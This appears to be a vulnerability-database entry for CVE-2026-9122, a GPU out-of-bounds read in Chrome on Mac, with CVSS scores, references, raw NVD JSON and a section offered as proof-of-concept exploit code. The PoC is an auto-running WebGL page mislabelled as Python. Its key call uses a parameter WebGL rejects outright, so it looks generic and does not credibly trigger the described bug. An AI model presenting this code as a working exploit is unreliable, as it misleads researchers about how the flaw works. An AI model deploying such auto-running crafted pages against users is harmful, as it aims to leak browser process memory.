CVE-2026-9122

Description

Out of bounds read in GPU in Google Chrome on Mac prior to 148.0.7778.179 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome (Mac) < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9122: GPU Out of Bounds Read
This PoC attempts to trigger the vulnerability in Chrome for Mac < 148.0.7778.179
via a crafted WebGL/HTML context.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9122 PoC</title>
    <script>
        function triggerVuln() {
            // Create a canvas to access GPU context
            var canvas = document.createElement('canvas');
            var gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

            if (!gl) {
                alert("WebGL not supported");
                return;
            }

            try {
                // Create a buffer and attempt read operations beyond limits
                var buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(100), gl.STATIC_DRAW);
                // Pass invalid parameters to potentially trigger bounds check failure
                gl.vertexAttribPointer(0, 100000, gl.FLOAT, false, 0, 0); 
                gl.drawArrays(gl.TRIANGLES, 0, 100000);
                console.log("PoC executed.");
            } catch (e) {
                console.log("Exception caught: " + e.message);
            }
        }
        window.onload = triggerVuln;
    </script>
</head>
<body>
    <h1>Testing CVE-2026-9122</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9122
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9122
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9122/
[4] VulDB https://vuldb.com/cve/CVE-2026-9122
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/489579953

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9122", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:44.987", "lastModified": "2026-05-20T20:16:44.987", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in GPU in Google Chrome on Mac prior to 148.0.7778.179 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/489579953", "source": "[email protected]"}]}}